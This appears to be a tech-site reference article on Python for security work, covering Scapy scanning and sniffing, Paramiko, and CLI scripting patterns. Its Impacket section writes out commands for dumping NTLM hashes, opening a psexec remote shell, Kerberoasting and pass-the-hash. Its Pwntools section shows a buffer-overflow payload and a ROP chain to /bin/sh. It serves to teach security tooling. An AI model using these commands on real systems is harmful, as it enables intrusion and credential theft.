Python for Cybersecurity & IT Automation
3 min readArticle
Python is the dominant scripting language for security tooling. Nearly every offensive and defensive security tool is written in Python or has Python bindings. This is a practical reference — not a beginner's syntax guide.
Why Python for Security
- Fast to write and iterate — ideal for one-off attack scripts and automation
- Huge security library ecosystem: scapy, impacket, pwntools, paramiko, cryptography
- Cross-platform — same script runs on Kali, macOS, and Windows
- Readable enough to understand tools you find on GitHub, modify them, or integrate them
Environment Setup
bash
# Always use virtual environments — avoid polluting system Python
python3 -m venv sec-env
source sec-env/bin/activate
# Core security libraries
pip install scapy requests paramiko cryptography impacket pwntools python-nmap shodan
# Web testing
pip install requests-html beautifulsoup4 selenium
# For tool isolation (install CLI tools without venv headaches)
pipx install bpytop
Key Security Libraries
| Library | Purpose |
|---|---|
scapy |
Packet crafting, sniffing, injection (raw 802.11, TCP, ARP, ICMP) |
requests |
HTTP/HTTPS automation, web app testing, credential spraying |
paramiko |
SSH automation, SFTP, SSH brute-force |
pwntools |
CTF/exploit dev — buffer overflows, ROP chains, format strings |
impacket |
Windows protocol attacks — SMB, NTLM, Kerberos, secretsdump |
cryptography |
AES, RSA, HMAC, hashing — proper crypto primitives |
python-nmap |
Port scanning via nmap Python bindings |
shodan |
Shodan API client — OSINT on internet-exposed services |
Scapy Quick Start
python
from scapy.all import *
# ARP scan a subnet — find all live hosts
answered, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),
timeout=2, iface="eth0", verbose=0)
for sent, received in answered:
print(f"{received.psrc} {received.hwsrc}")
# TCP SYN scan one port
resp = sr1(IP(dst="192.168.1.1")/TCP(dport=80, flags="S"), timeout=1, verbose=0)
if resp and resp.haslayer(TCP) and resp[TCP].flags == 0x12:
print("Port 80 OPEN")
# ICMP ping
reply = sr1(IP(dst="8.8.8.8")/ICMP(), timeout=2)
# Sniff DNS queries
sniff(iface="eth0", filter="udp port 53",
prn=lambda p: print(p[DNS].qd.qname) if p.haslayer(DNS) and p[DNS].qr==0 else None)
Impacket — Windows Protocol Attacks
bash
# secretsdump: dump NTLM hashes from a Windows host (requires admin creds)
impacket-secretsdump administrator:[email protected]
# psexec: remote shell via SMB
impacket-psexec administrator:[email protected]
# GetUserSPNs: Kerberoasting — extract service tickets for offline cracking
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -request
# Pass-the-Hash
impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]
Pwntools — Exploit Dev
python
from pwn import *
proc = process("./vuln") # local binary
conn = remote("ctf.example.com", 1337) # remote challenge
conn.recvuntil(b"Enter: ")
payload = b"A" * 40 + p64(0xdeadbeef) # BoF payload with little-endian address
conn.sendline(payload)
conn.interactive()
# ROP chain
elf = ELF("./vuln")
rop = ROP(elf)
rop.call("system", [next(elf.search(b"/bin/sh\x00"))])
Paramiko — SSH Automation
python
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect("192.168.1.100", username="admin", password="password")
stdin, stdout, stderr = client.exec_command("whoami && id")
print(stdout.read().decode())
client.close()
Common Patterns
python
# subprocess for shell commands
import subprocess
result = subprocess.run(["nmap", "-sV", "192.168.1.0/24"],
capture_output=True, text=True)
print(result.stdout)
# argparse for CLI tools
import argparse
parser = argparse.ArgumentParser(description="My Security Tool")
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-p", "--port", type=int, default=80)
args = parser.parse_args()
# logging module for clean output
import logging
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logging.info(f"Scanning {args.target}")
Tips
- Use
pipxto install CLI security tools (bpytop, semgrep) without venv conflicts - Use
poetryfor project dependency management in multi-file security tools requests.Session()maintains cookies across authenticated web app requests- Route requests through Burp Suite proxy:
proxies={"http":"http://127.0.0.1:8080"}, verify=False
techzonesite.comUnlock Your IT Potential